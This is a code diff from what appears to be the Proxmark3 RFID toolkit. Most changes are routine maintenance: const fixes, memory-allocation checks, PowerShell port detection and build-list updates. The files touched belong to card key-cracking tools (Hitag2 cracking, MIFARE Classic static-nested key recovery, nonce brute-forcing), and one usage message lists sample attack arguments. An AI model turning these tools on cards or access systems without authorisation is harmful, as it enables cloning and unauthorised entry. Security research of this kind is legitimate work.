FMCOS20_CMD_ERASE_DF 0x0E +#define FMCOS20_CMD_PULL 0x30 +#define FMCOS20_CMD_CHARGE 0x32 +#define FMCOS20_CMD_WRITE_KEY 0xD4 +#define FMCOS20_CMD_CREATE_FILE 0xE0 +#define FMCOS20_CMD_WRITE_EEPROM 0x00 +#define FMCOS20_CMD_READ_EEPROM 0x04 +#define FMCOS20_CMD_INITIALIZE_EEPROM 0x02 +#define FMCOS20_CMD_READ_ROM 0x0C +#define FMCOS20_CMD_INITIALIZE_GREY_LOCK_UNLOCK 0x7A +#define FMCOS20_CMD_GREY_LOCK_UNLOCK 0x7C +#define FMCOS20_CMD_DEBIT_UNLOCK 0x7E +#define FMCOS20_CMD_CALCULATE_ROM_CRC 0x0A + #endif // PROTOCOLS_H diff --git a/include/proxmark3_arm.h b/include/proxmark3_arm.h index 742a115f5..aa02aea7c 100644 --- a/include/proxmark3_arm.h +++ b/include/proxmark3_arm.h @@ -126,6 +126,10 @@ //NVDD goes LOW when USB is attached. #define USB_ATTACHED() !((AT91C_BASE_PIOA->PIO_PDSR & GPIO_NVDD_ON) == GPIO_NVDD_ON) + +#define DBG if (g_dbglevel >= DBG_EXTENDED) + + // VERSION_INFORMATION is now in common.h #define COMMON_AREA_MAGIC 0x43334d50 // "PM3C" diff --git a/include/usart_defs.h b/include/usart_defs.h index 501f66464..84d6ff17c 100644 --- a/include/usart_defs.h +++ b/include/usart_defs.h @@ -16,8 +16,9 @@ #ifndef __USART_DEFS_H #define __USART_DEFS_H -//#define USART_BAUD_RATE 9600 +#ifndef USART_BAUD_RATE #define USART_BAUD_RATE 115200 +#endif // BT HC-06 physical layer runs at 128kbps // so it's possible to gain a little bit by using 230400 // with some risk to overflow its internal buffers: diff --git a/pm3 b/pm3 index 80aad83d8..5122fe536 100755 --- a/pm3 +++ b/pm3 @@ -136,11 +136,15 @@ function get_pm3_list_Windows { PM3LIST=() # Normal SERIAL PORTS (COM) - for DEV in $(wmic /locale:ms_409 path Win32_SerialPort Where "PNPDeviceID LIKE '%VID_9AC4&PID_4B8F%' Or PNPDeviceID LIKE '%VID_2D2D&PID_504D%'" Get DeviceID 2>/dev/null | awk -b '/^COM/{print $1}'); do - DEV=${DEV/ */} + for DEV in $($PSHEXE -command "Get-CimInstance -ClassName Win32_serialport | Where-Object {\$_.PNPDeviceID -like '*VID_9AC4&PID_4B8F*' -or \$_.PNPDeviceID -like '*VID_2D2D&PID_504D*'} | Select -expandproperty DeviceID" 2>/dev/null); do + + _comport=$DEV + #prevent soft bricking when using pm3-flash-all on an outdated bootloader if [ $(basename -- "$0") = "pm3-flash-all" ]; then - line=$(wmic /locale:ms_409 path Win32_SerialPort Where "DeviceID='$DEV'" Get PNPDeviceID 2>/dev/null | awk -b '/^USB/{print $1}'); + + line=$($PSHEXE -command "Get-CimInstance -ClassName Win32_serialport | Where-Object {\$_.DeviceID -eq '$_comport'} | Select -expandproperty PNPDeviceID" 2>/dev/null); + if [[ ! $line =~ ^"USB\VID_9AC4&PID_4B8F\ICEMAN" ]]; then echo -e "\033[0;31m[!] Using pm3-flash-all on an oudated bootloader, use pm3-flash-bootrom first!" exit 1 @@ -154,8 +158,8 @@ function get_pm3_list_Windows { #BT direct SERIAL PORTS (COM) if $FINDBTRFCOMM; then - for DEV in $(wmic /locale:ms_409 path Win32_PnPEntity Where "Caption LIKE '%Bluetooth%(COM%'" Get Name 2> /dev/null | awk -b 'match($0,/(COM[0-9]+)/,m){print m[1]}'); do - DEV=${DEV/ */} + + for DEV in $($PSHEXE -command "Get-CimInstance -ClassName Win32_PnPEntity | Where-Object Caption -like 'Standard Serial over Bluetooth link (COM*' | Select Name" 2>/dev/null); do PM3LIST+=("$DEV") if [ ${#PM3LIST[*]} -ge "$N" ]; then return @@ -165,8 +169,8 @@ function get_pm3_list_Windows { #white BT dongle SERIAL PORTS (COM) if $FINDBTDONGLE; then - for DEV in $(wmic /locale:ms_409 path Win32_SerialPort Where "PNPDeviceID LIKE '%VID_10C4&PID_EA60%'" Get DeviceID 2>/dev/null | awk -b '/^COM/{print $1}'); do - DEV=${DEV/ */} + + for DEV in $($PSHEXE -command "Get-CimInstance -ClassName Win32_serialport | Where-Object PNPDeviceID -like '*VID_10C4&PID_EA60*' | Select -expandproperty DeviceID" 2>/dev/null); do PM3LIST+=("$DEV") if [ ${#PM3LIST[*]} -ge "$N" ]; then return @@ -497,6 +501,21 @@ if [ "$HOSTOS" = "LINUX" ]; then elif [ "$HOSTOS" = "DARWIN" ]; then GETPM3LIST=get_pm3_list_macOS elif [[ "$HOSTOS" =~ MINGW(32|64)_NT* ]]; then + + # First try finding it using the PATH environment variable + PSHEXE=$(command -v powershell.exe 2>/dev/null) + + # If it fails (such as if WSLENV is not set), try using the default installation path + if [ -z "$PSHEXE" ]; then + PSHEXE=/cygdrive/c/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe + fi + + # Finally test if PowerShell is working + if ! "$PSHEXE" exit >/dev/null 2>&1; then + echo >&2 "[!!] Cannot run powershell.exe in your MINGW environment" + exit 1 + fi + GETPM3LIST=get_pm3_list_Windows else echo >&2 "[!!] Host OS not recognized, abort: $HOSTOS" diff --git a/recovery/Makefile b/recovery/Makefile index 5d561c45b..e18e66c06 100644 --- a/recovery/Makefile +++ b/recovery/Makefile @@ -17,7 +17,10 @@ all: $(BINS) echo "ERROR: Firmware image too large for your platform! $$FWSIZE > $(FWMAXSIZE)"; \ echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"; \ exit 1; \ - fi + fi; \ + echo "==================================================================="; \ + echo "Firmware size: $$FWSIZE bytes ($$((FWSIZE/1024))kb) = $$((FWSIZE*100/$(FWMAXSIZE)))% of $$(($(FWMAXSIZE)/1024))kb"; \ + echo "===================================================================" bootrom.bin: ../bootrom/obj/bootrom.elf $(info [=] GEN $@) diff --git a/tools/build_all_firmwares.sh b/tools/build_all_firmwares.sh index 2740d7150..3023fe741 100755 --- a/tools/build_all_firmwares.sh +++ b/tools/build_all_firmwares.sh @@ -32,11 +32,11 @@ mv bootrom/obj/bootrom.elf "$DEST/PM3BOOTROM.elf" # cf armsrc/Standalone/Makefile.hal STANDALONE_MODES=(LF_SKELETON) STANDALONE_MODES+=(LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE) -STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG) +STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG) STANDALONE_MODES+=(DANKARMULTI) STANDALONE_MODES_REQ_BT=(HF_CARDHOPPER HF_REBLAY) STANDALONE_MODES_REQ_SMARTCARD=() -STANDALONE_MODES_REQ_FLASH=(LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_BOG HF_COLIN HF_ICECLASS HF_LEGICSIM HF_MFCSIM) +STANDALONE_MODES_REQ_FLASH=(LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_BOG HF_COLIN HF_ICECLASS HF_LEGICSIM HF_MFCSIM HF_ST25_TEAROFF) # PM3GENERIC 256kb, no flash, need to skip some parts to reduce size diff --git a/tools/cryptorf/sma.cpp b/tools/cryptorf/sma.cpp index 4b7b2d15a..9a019114e 100644 --- a/tools/cryptorf/sma.cpp +++ b/tools/cryptorf/sma.cpp @@ -706,6 +706,10 @@ void combine_valid_left_right_states(vector *plcstates, vector *prcs printf("but only " _GREEN_("%zu")" were valid!\n", pgc_candidates->size()); } +#if defined(__cplusplus) +} +#endif + int main(int argc, const char *argv[]) { size_t pos; crypto_state_t ostate; @@ -855,7 +859,3 @@ int main(int argc, const char *argv[]) { } return 0; } - -#if defined(__cplusplus) -} -#endif diff --git a/tools/cryptorf/sma_multi.cpp b/tools/cryptorf/sma_multi.cpp index 25c4aabed..10a15e7b1 100644 --- a/tools/cryptorf/sma_multi.cpp +++ b/tools/cryptorf/sma_multi.cpp @@ -327,14 +327,14 @@ static inline uint8_t next_left_fast(uint8_t in, uint64_t *left) { if (in) *left ^= ((in & 0x1f) << 20); - lookup_entry *lookup = &(lookup_left[((*left) & 0xf801f)]); + const lookup_entry *lookup = &(lookup_left[((*left) & 0xf801f)]); *left = (((*left) >> 5) | ((uint64_t)lookup->addition << 30)); return lookup->out; } static inline uint8_t next_right_fast(uint8_t in, uint64_t *right) { if (in) *right ^= ((in & 0xf8) << 12); - lookup_entry *lookup = &(lookup_right[((*right) & 0x7c1f)]); + const lookup_entry *lookup = &(lookup_right[((*right) & 0x7c1f)]); *right = (((*right) >> 5) | (lookup->addition << 20)); return lookup->out; } @@ -474,7 +474,7 @@ static void ice_sm_left_thread( size_t pos, bits; uint8_t correct_bits[16]; uint8_t bt; - lookup_entry *lookup; + const lookup_entry *lookup; // Reset and initialize the cryptostate and vector cs_t state; @@ -714,7 +714,7 @@ static inline void search_gc_candidates_left(const uint64_t lstate_before_gc, co printf("\n"); } -void combine_valid_left_right_states(vector *plcstates, vector *prcstates, vector *pgc_candidates) { +void combine_valid_left_right_states(const vector *plcstates, const vector *prcstates, vector *pgc_candidates) { vector::iterator itl, itr; size_t pos; uint64_t gc; @@ -763,11 +763,11 @@ static void ice_compare( uint8_t offset, uint8_t skips, vector *candidates, - crypto_state_t *ostate, - uint8_t *Ci, - uint8_t *Q, - uint8_t *Ch, - uint8_t *Ci_1 + const crypto_state_t *ostate, + const uint8_t *Ci, + const uint8_t *Q, + const uint8_t *Ch, + const uint8_t *Ci_1 ) { uint8_t Gc_chk[8] = {0}; uint8_t Ch_chk[8] = {0}; @@ -802,6 +802,10 @@ static void ice_compare( return; } +#if defined(__cplusplus) +} +#endif + int main(int argc, const char *argv[]) { size_t pos; crypto_state_t ostate; @@ -969,7 +973,3 @@ int main(int argc, const char *argv[]) { } return 0; } - -#if defined(__cplusplus) -} -#endif diff --git a/tools/deprecated-hid-flasher/flasher/proxusb.c b/tools/deprecated-hid-flasher/flasher/proxusb.c index 884950297..f05d2b45b 100644 --- a/tools/deprecated-hid-flasher/flasher/proxusb.c +++ b/tools/deprecated-hid-flasher/flasher/proxusb.c @@ -21,7 +21,7 @@ static unsigned int claimed_iface = 0; unsigned char return_on_error = 0; unsigned char error_occurred = 0; -void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { +void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) { int ret; PacketCommandOLD c = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; c.cmd = cmd; @@ -115,7 +115,7 @@ usb_dev_handle *findProxmark(int verbose, unsigned int *iface) { struct usb_device *dev; for (dev = bus->devices; dev; dev = dev->next) { - struct usb_device_descriptor *desc = &(dev->descriptor); + const struct usb_device_descriptor *desc = &(dev->descriptor); if ((desc->idProduct == 0x4b8f) && (desc->idVendor == 0x9ac4)) { handle = usb_open(dev); diff --git a/tools/deprecated-hid-flasher/flasher/proxusb.h b/tools/deprecated-hid-flasher/flasher/proxusb.h index 205d670a1..8b3169b9f 100644 --- a/tools/deprecated-hid-flasher/flasher/proxusb.h +++ b/tools/deprecated-hid-flasher/flasher/proxusb.h @@ -26,7 +26,7 @@ extern unsigned char return_on_error; extern unsigned char error_occurred; -void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); +void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); bool ReceiveCommandPoll(PacketResponseOLD *c); void ReceiveCommand(PacketResponseOLD *c); struct usb_dev_handle *FindProxmark(int verbose, unsigned int *iface); diff --git a/tools/deprecated-hid-flasher/flasher/usb_cmd.h b/tools/deprecated-hid-flasher/flasher/usb_cmd.h index 90a76a1be..6c614a628 100644 --- a/tools/deprecated-hid-flasher/flasher/usb_cmd.h +++ b/tools/deprecated-hid-flasher/flasher/usb_cmd.h @@ -137,6 +137,7 @@ typedef struct { #define CMD_HF_ISO14443A_SNIFF 0x0383 #define CMD_HF_ISO14443A_SIMULATE 0x0384 #define CMD_HF_ISO14443A_READER 0x0385 +#define CMD_HF_ISO14443A_EMV_SIMULATE 0x0386 #define CMD_HF_LEGIC_SIMULATE 0x0387 #define CMD_HF_LEGIC_READER 0x0388 @@ -180,7 +181,7 @@ typedef struct { #define CMD_HF_MIFARE_READER 0x0611 #define CMD_HF_MIFARE_NESTED 0x0612 -#define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613 +#define CMD_HF_MIFARE_ACQ_ENCRYPTED_NONCES 0x0613 #define CMD_HF_MIFARE_READBL 0x0620 diff --git a/tools/fpga_compress/Makefile b/tools/fpga_compress/Makefile index 324860995..3e34619e8 100644 --- a/tools/fpga_compress/Makefile +++ b/tools/fpga_compress/Makefile @@ -1,6 +1,8 @@ ifeq ($(PLTNAME),) -include ../../Makefile.platform -include ../../.Makefile.options.cache +# Default platform if no platform specified + PLATFORM?=PM3RDV4 ifneq ($(PLATFORM), $(CACHED_PLATFORM)) $(error platform definitions have been changed, please "make clean" at the root of the project) endif @@ -11,6 +13,8 @@ MYINCLUDES = -I../../common_fpga MYCFLAGS = -std=c99 -D_ISOC99_SOURCE ifeq ($(PLATFORM),PM3ICOPYX) MYDEFS = -DXC3 +else ifeq ($(PLATFORM),PM3ULTIMATE) + MYDEFS = -DXC2S50 else MYDEFS = endif diff --git a/tools/fpga_compress/fpga_compress.c b/tools/fpga_compress/fpga_compress.c index 97ba90024..04712c91b 100644 --- a/tools/fpga_compress/fpga_compress.c +++ b/tools/fpga_compress/fpga_compress.c @@ -18,9 +18,13 @@ #include #include #include +#include +#include "time.h" #include "fpga.h" #include "lz4hc.h" +int fileno(FILE *); + #ifndef MIN #define MIN(a,b) ((a) < (b) ? (a) : (b)) #endif @@ -47,7 +51,7 @@ static int zlib_compress(FILE *infile[], uint8_t num_infiles, FILE *outfile) { uint8_t *fpga_config = calloc(num_infiles * FPGA_CONFIG_SIZE, sizeof(uint8_t)); if (fpga_config == NULL) { - fprintf(stderr, "failed to allocate memory"); + fprintf(stderr, "Failed to allocate memory\n"); return (EXIT_FAILURE); } @@ -90,14 +94,14 @@ static int zlib_compress(FILE *infile[], uint8_t num_infiles, FILE *outfile) { char *outbuf = calloc(outsize_max, sizeof(char)); if (outbuf == NULL) { - fprintf(stderr, "failed to allocate memory"); + fprintf(stderr, "Failed to allocate memory\n"); free(fpga_config); return (EXIT_FAILURE); } char *ring_buffer = calloc(buffer_size, sizeof(char)); if (ring_buffer == NULL) { - fprintf(stderr, "failed to allocate memory"); + fprintf(stderr, "Failed to allocate memory\n"); free(outbuf); free(fpga_config); return (EXIT_FAILURE); @@ -354,6 +358,8 @@ static int FpgaGatherVersion(FILE *infile, char *infile_name, char *dst, int len for (uint16_t i = 0; i < FPGA_BITSTREAM_FIXED_HEADER_SIZE; i++) { if (fgetc(infile) != bitparse_fixed_header[i]) { fprintf(stderr, "Invalid FPGA file. Aborting...\n\n"); + fprintf(stderr, "File: %s\n", infile_name); + return (EXIT_FAILURE); } } @@ -380,30 +386,22 @@ static int FpgaGatherVersion(FILE *infile, char *infile_name, char *dst, int len strncat(dst, tempstr, len - strlen(dst) - 1); } - strncat(dst, " ", len - strlen(dst) - 1); - if (bitparse_find_section(infile, 'c', &fpga_info_len)) { - for (uint32_t i = 0; i < fpga_info_len; i++) { - char c = (char)fgetc(infile); - if (i < sizeof(tempstr)) { - if (c == '/') c = '-'; - if (c == ' ') c = '0'; - tempstr[i] = c; - } - } - strncat(dst, tempstr, len - strlen(dst) - 1); + // Get file statistics to extract date and time via file timestamp + int fd = fileno(infile); + struct stat fileStat; + + if (fstat(fd, &fileStat) == 0) { + struct tm *modTime = localtime(&fileStat.st_mtime); + + + char timeBuf[64]; + snprintf(timeBuf, sizeof(timeBuf), " %02d-%02d-%04d %02d:%02d:%02d", + modTime->tm_mday, modTime->tm_mon + 1, modTime->tm_year + 1900, + modTime->tm_hour, modTime->tm_min, modTime->tm_sec); + + strncat(dst, timeBuf, len - strlen(dst) - 1); } - if (bitparse_find_section(infile, 'd', &fpga_info_len)) { - strncat(dst, " ", len - strlen(dst) - 1); - for (uint32_t i = 0; i < fpga_info_len; i++) { - char c = (char)fgetc(infile); - if (i < sizeof(tempstr)) { - if (c == ' ') c = '0'; - tempstr[i] = c; - } - } - strncat(dst, tempstr, len - strlen(dst) - 1); - } return 0; } @@ -471,6 +469,12 @@ int main(int argc, char **argv) { uint8_t num_output_files = argc - 3; FILE **outfiles = calloc(num_output_files, sizeof(FILE *)); char **outfile_names = calloc(num_output_files, sizeof(char *)); + if (outfiles == NULL || outfile_names == NULL) { + fprintf(stderr, "Failed to allocate memory\n\n"); + free(outfiles); + free(outfile_names); + return (EXIT_FAILURE); + } for (uint8_t i = 0; i < num_output_files; i++) { outfile_names[i] = argv[i + 3]; outfiles[i] = fopen(outfile_names[i], "wb"); @@ -528,6 +532,12 @@ int main(int argc, char **argv) { FILE **infiles = calloc(num_input_files, sizeof(FILE *)); char **infile_names = calloc(num_input_files, sizeof(char *)); + if (infiles == NULL || infile_names == NULL) { + fprintf(stderr, "Failed to allocate memory\n\n"); + free(infile_names); + free(infiles); + return (EXIT_FAILURE); + } for (uint8_t i = 0; i < num_input_files; i++) { infile_names[i] = argv[i + (generate_version_file ? 2 : 1)]; infiles[i] = fopen(infile_names[i], "rb"); diff --git a/tools/hitag2crack/crack2/ht2crack2search_multi.c b/tools/hitag2crack/crack2/ht2crack2search_multi.c index af2bf92ca..27d8aa9dc 100644 --- a/tools/hitag2crack/crack2/ht2crack2search_multi.c +++ b/tools/hitag2crack/crack2/ht2crack2search_multi.c @@ -458,7 +458,16 @@ int main(int argc, char *argv[]) { // threads for (int i = 0; i < thread_count; ++i) { targs *a = calloc(1, rng.len + sizeof(targs)); + if (a == NULL) { + printf("Failed to allocate memory\n"); + exit(1); + } a->r.data = calloc(1, rng.len); + if (a->r.data == NULL) { + printf("Failed to allocate memory\n"); + free(a); + exit(1); + } a->thread = i; a->idx = i; diff --git a/tools/hitag2crack/crack3/ht2crack3.c b/tools/hitag2crack/crack3/ht2crack3.c index 3a185f9a4..91e99c48d 100644 --- a/tools/hitag2crack/crack3/ht2crack3.c +++ b/tools/hitag2crack/crack3/ht2crack3.c @@ -197,8 +197,8 @@ static void *crack(void *d) { // create space for tables Tk = (struct Tklower *)calloc(sizeof(struct Tklower) * 0x40000, sizeof(uint8_t)); - if (!Tk) { - printf("Failed to allocate memory (Tk)\n"); + if (Tk == NULL) { + printf("Failed to allocate memory\n"); exit(1); } diff --git a/tools/hitag2crack/crack4/ht2crack4.c b/tools/hitag2crack/crack4/ht2crack4.c index 70585ed58..db66ab1a5 100644 --- a/tools/hitag2crack/crack4/ht2crack4.c +++ b/tools/hitag2crack/crack4/ht2crack4.c @@ -227,8 +227,8 @@ static uint64_t packstate(uint64_t s) { /* create_guess_table mallocs the tables */ static void create_guess_table(void) { guesses = (struct guess *)calloc(1, sizeof(struct guess) * maxtablesize); - if (!guesses) { - printf("cannot allocate memory for guess table\n"); + if (guesses == NULL) { + printf("Failed to allocate memory\n"); exit(1); } } diff --git a/tools/hitag2crack/crack5opencl/opencl.c b/tools/hitag2crack/crack5opencl/opencl.c index deec49e92..f1a66a6fd 100644 --- a/tools/hitag2crack/crack5opencl/opencl.c +++ b/tools/hitag2crack/crack5opencl/opencl.c @@ -113,7 +113,7 @@ int discoverDevices(unsigned int profile_selected, uint32_t device_types_selecte // allocate memory to hold info about platforms/devices *cd_ctx = (compute_platform_ctx_t *) calloc(ocl_platform_cnt, sizeof(compute_platform_ctx_t)); if (*cd_ctx == NULL) { - printf("Error: calloc (compute_platform_ctx_t) failed (%d): %s\n", errno, strerror(errno)); + printf("Failed to allocate memory\n"); free(ocl_platforms); return -5; } diff --git a/tools/mfc/card_only/nested_util.c b/tools/mfc/card_only/nested_util.c index f2910de74..b6f0ff32d 100644 --- a/tools/mfc/card_only/nested_util.c +++ b/tools/mfc/card_only/nested_util.c @@ -57,7 +57,7 @@ static countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) { our_counts = calloc(size, sizeof(countKeys)); if (our_counts == NULL) { - printf("Memory allocation error for our_counts"); + printf("Failed to allocate memory"); exit(EXIT_FAILURE); } @@ -113,7 +113,7 @@ static void *nested_revover(void *args) { // printf("New chunk by %d, sizeof %lu\n", kcount, rp->keyCount * sizeof(uint64_t)); void *tmp = realloc(rp->keys, rp->keyCount * sizeof(uint64_t)); if (tmp == NULL) { - printf("Memory allocation error for pk->possibleKeys"); + printf("Failed to allocate memory\n"); rp->keyCount = 0; is_ok = false; break; @@ -136,7 +136,7 @@ static void *nested_revover(void *args) { rp->keyCount = kcount; void *tmp = (uint64_t *)realloc(rp->keys, rp->keyCount * sizeof(uint64_t)); if (tmp == NULL) { - printf("Memory allocation error for pk->possibleKeys"); + printf("Failed to allocate memory\n"); rp->keyCount = 0; free(rp->keys); } else { @@ -198,14 +198,14 @@ uint64_t *nested(NtpKs1 *pNK, uint32_t sizePNK, uint32_t authuid, uint32_t *keyC free(threads); if (*keyCount == 0) { - printf("Didn't recover any keys.\r\n"); + printf("Didn't recover any keys\r\n"); free(pRPs); return NULL; } keys = calloc((*keyCount) * sizeof(uint64_t), sizeof(uint8_t)); if (keys == NULL) { - printf("Cannot allocate memory to merge keys.\r\n"); + printf("Failed to allocate memory\r\n"); free(pRPs); return NULL; } @@ -231,7 +231,7 @@ uint64_t *nested(NtpKs1 *pNK, uint32_t sizePNK, uint32_t authuid, uint32_t *keyC *keyCount = 0; if (ck == NULL) { - printf("Cannot allocate memory for ck on uniqsort."); + printf("Failed to allocate memory\n"); free(ck); free(pRPs); return NULL; @@ -242,9 +242,10 @@ uint64_t *nested(NtpKs1 *pNK, uint32_t sizePNK, uint32_t authuid, uint32_t *keyC // This key can be found here two or more times if (ck[i].count > 0) { *keyCount += 1; + void *tmp = realloc(keys, sizeof(uint64_t) * (*keyCount)); if (tmp == NULL) { - printf("Cannot allocate memory for keys on merge."); + printf("Failed to allocate memory\n"); free(ck); free(keys); free(pRPs); diff --git a/tools/mfc/card_only/staticnested_0nt.c b/tools/mfc/card_only/staticnested_0nt.c index f0e62c31d..088b4aadc 100644 --- a/tools/mfc/card_only/staticnested_0nt.c +++ b/tools/mfc/card_only/staticnested_0nt.c @@ -272,7 +272,9 @@ static uint64_t **unpredictable_nested(NtpKs1List *pNKL, uint32_t keyCounts[]) { pthread_cond_wait(&status_cond, &status_mutex); activeThreads = 0; for (int i = 0; i < NUM_THREADS; i++) { - if (thread_status[i]) activeThreads++; + if (thread_status[i]) { + activeThreads++; + } } } @@ -424,6 +426,7 @@ int main(int argc, char *const argv[]) { uint32_t nttest = prng_successor(1, 16); // a first valid nonce pNtData->pNK = (NtpKs1 *)calloc(8192, sizeof(NtpKs1)); // 2**16 filtered with 3 parity bits => 2**13 if (pNtData->pNK == NULL) { + printf("Failed to allocate memory\n"); return 1; } diff --git a/tools/mfc/card_only/staticnested_1nt.c b/tools/mfc/card_only/staticnested_1nt.c index 80a8dd5a6..e8876287f 100644 --- a/tools/mfc/card_only/staticnested_1nt.c +++ b/tools/mfc/card_only/staticnested_1nt.c @@ -148,10 +148,10 @@ int main(int argc, char *const argv[]) { , nt_par_err_arr[1] , nt_par_err_arr[2] , nt_par_err_arr[3] - , (nt_par_enc >> 3) & 1 - , (nt_par_enc >> 2) & 1 - , (nt_par_enc >> 1) & 1 - , nt_par_enc & 1 + , (uint8_t)((nt_par_enc >> 3) & 1) + , (uint8_t)((nt_par_enc >> 2) & 1) + , (uint8_t)((nt_par_enc >> 1) & 1) + , (uint8_t)(nt_par_enc & 1) , nt ^ nt_enc ); diff --git a/tools/mfc/card_only/staticnested_2nt.c b/tools/mfc/card_only/staticnested_2nt.c index 484c5cdf7..a013a0d97 100644 --- a/tools/mfc/card_only/staticnested_2nt.c +++ b/tools/mfc/card_only/staticnested_2nt.c @@ -175,19 +175,19 @@ static void pm3_staticnested(uint32_t uid, uint32_t nt1, uint32_t ks1, uint32_t } } -static int usage(void) { +static int usage(const char *prog) { printf("\n"); printf("\nProgram tries to recover keys from static encrypted nested MFC cards\n"); printf("using two different implementations, Chameleon Ultra (CU) and Proxmark3.\n"); printf("It uses the nonce, keystream sent from pm3 device to client.\n"); printf("ie: NOT the CU data which is data in the trace.\n"); printf("\n"); - printf("syntax: staticnested \n\n"); + printf("syntax: %s \n\n", prog); printf("samples:\n"); printf("\n"); - printf(" ./staticnested 461dce03 7eef3586 ffb02eda 322bc14d ffc875ca\n"); - printf(" ./staticnested 461dce03 7eef3586 1fb6b496 322bc14d 1f4eebdd\n"); - printf(" ./staticnested 461dce03 7eef3586 7fa28c7e 322bc14d 7f62b3d6\n"); + printf(" %s 461dce03 7eef3586 ffb02eda 322bc14d ffc875ca\n", prog); + printf(" %s 461dce03 7eef3586 1fb6b496 322bc14d 1f4eebdd\n", prog); + printf(" %s 461dce03 7eef3586 7fa28c7e 322bc14d 7f62b3d6\n", prog); printf("\n"); return 1; } @@ -196,11 +196,12 @@ int main(int argc, char *const argv[]) { printf("\nMIFARE Classic static nested key recovery\n\n"); - if (argc < 5) return usage(); + if (argc < 5) return usage(argv[0]); printf("Init...\n"); NtpKs1 *pNK = calloc(2, sizeof(NtpKs1)); if (pNK == NULL) { + printf("Failed to allocate memory\n"); goto error; } diff --git a/tools/mfc/card_only/staticnested_2x1nt_rf08s.c b/tools/mfc/card_only/staticnested_2x1nt_rf08s.c index 10f31875d..0a83c10fd 100644 --- a/tools/mfc/card_only/staticnested_2x1nt_rf08s.c +++ b/tools/mfc/card_only/staticnested_2x1nt_rf08s.c @@ -31,11 +31,23 @@ static void init_lfsr16_table(void) { } // static uint16_t next_lfsr16(uint16_t nonce) { -// return s_lfsr16[(i_lfsr16[nonce]+1) % 65535]; +// uint16_t i = i_lfsr16[nonce]; +// if (i == 0xffff) { +// i = 1; +// } else { +// i++; +// } +// return s_lfsr16[i]; // } static uint16_t prev_lfsr16(uint16_t nonce) { - return s_lfsr16[(i_lfsr16[nonce] - 1) % 65535]; + uint16_t i = i_lfsr16[nonce]; + if (i == 1) { + i = 0xffff; + } else { + i--; + } + return s_lfsr16[i]; } static uint16_t compute_seednt16_nt32(uint32_t nt32, uint64_t key) { diff --git a/tools/mfc/card_only/staticnested_2x1nt_rf08s_1key.c b/tools/mfc/card_only/staticnested_2x1nt_rf08s_1key.c index 66f0cecab..87b2f330d 100644 --- a/tools/mfc/card_only/staticnested_2x1nt_rf08s_1key.c +++ b/tools/mfc/card_only/staticnested_2x1nt_rf08s_1key.c @@ -5,7 +5,7 @@ // * keyA and keyB are different for the targeted sector // // Strategy: -// * Use f08s_nested_known_collision to crack keyA +// * Use staticnested_2x1nt_rf08s to crack keyA // * If keyB not readable, find keyB in its dictionary based on the obscure relationship between keyA, keyB and their nT // // Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info @@ -33,11 +33,23 @@ static void init_lfsr16_table(void) { } // static uint16_t next_lfsr16(uint16_t nonce) { -// return s_lfsr16[(i_lfsr16[nonce]+1) % 65535]; +// uint16_t i = i_lfsr16[nonce]; +// if (i == 0xffff) { +// i = 1; +// } else { +// i++; +// } +// return s_lfsr16[i]; // } static uint16_t prev_lfsr16(uint16_t nonce) { - return s_lfsr16[(i_lfsr16[nonce] - 1) % 65535]; + uint16_t i = i_lfsr16[nonce]; + if (i == 1) { + i = 0xffff; + } else { + i--; + } + return s_lfsr16[i]; } static uint16_t compute_seednt16_nt32(uint32_t nt32, uint64_t key) { @@ -77,7 +89,7 @@ int main(int argc, char *const argv[]) { if (argc != 4) { printf("Usage:\n %s keys___.dic\n" - " where dict file is produced by rf08s_nested_known *for the same UID and same sector* as provided nt and key\n", + " where dict file is produced by staticnested_1nt *for the same UID and same sector* as provided nt and key\n", argv[0]); return 1; } diff --git a/tools/mfc/card_reader/mf_nonce_brute.c b/tools/mfc/card_reader/mf_nonce_brute.c index b99486dd9..27968620f 100644 --- a/tools/mfc/card_reader/mf_nonce_brute.c +++ b/tools/mfc/card_reader/mf_nonce_brute.c @@ -737,6 +737,10 @@ int main(int argc, const char *argv[]) { printf("----------- " _CYAN_("Phase 1 pre-processing") " ------------------------\n"); printf("Testing default keys using NESTED authentication...\n"); struct thread_key_args *def = calloc(1, sizeof(struct thread_key_args)); + if (def == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + exit(EXIT_FAILURE); + } def->thread = 0; def->idx = 0; def->uid = uid; @@ -758,6 +762,10 @@ int main(int argc, const char *argv[]) { // the rest of available threads to EV1 scenario for (int i = 0; i < thread_count; ++i) { struct thread_args *a = calloc(1, sizeof(struct thread_args)); + if (a == NULL) { + fprintf(stderr, "Failed to allocate memory\n"); + 